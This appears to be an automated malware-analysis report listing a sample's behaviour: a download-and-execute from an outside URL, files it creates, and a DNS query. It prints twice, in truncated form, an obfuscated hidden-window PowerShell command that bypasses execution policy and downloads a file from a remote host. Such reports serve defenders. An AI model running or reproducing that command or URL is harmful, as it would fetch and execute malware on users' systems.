Technical Information
Malicious functions
Downloads and executes
- http://guardian-angels.be/images/8f7ws/fzd2.exe as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "p^OW^ersh^ELl^.^Ex^E -eX^ECUtIOn^Po^licY^ ByPASs^ ^-^N^OP^rO^FiL^E ^-w^I^n^Do^Ws^T^Y^Le^ ^H^iDdE^n ^(N^eW-oB^J^E^cT s^YstEm^.^nEt.wEBcliE^NT^).^Do^w^nlOaD^f^i^LE^('http://guardian-a...
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
Network activity
UDP
- DNS ASK gu####an-angels.be
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /C "p^OW^ersh^ELl^.^Ex^E -eX^ECUtIOn^Po^licY^ ByPASs^ ^-^N^OP^rO^FiL^E ^-w^I^n^Do^Ws^T^Y^Le^ ^H^iDdE^n ^(N^eW-oB^J^E^cT s^YstEm^.^nEt.wEBcliE^NT^).^Do^w^nlOaD^f^i^LE^('http://guardian-a...' (with hidden window)
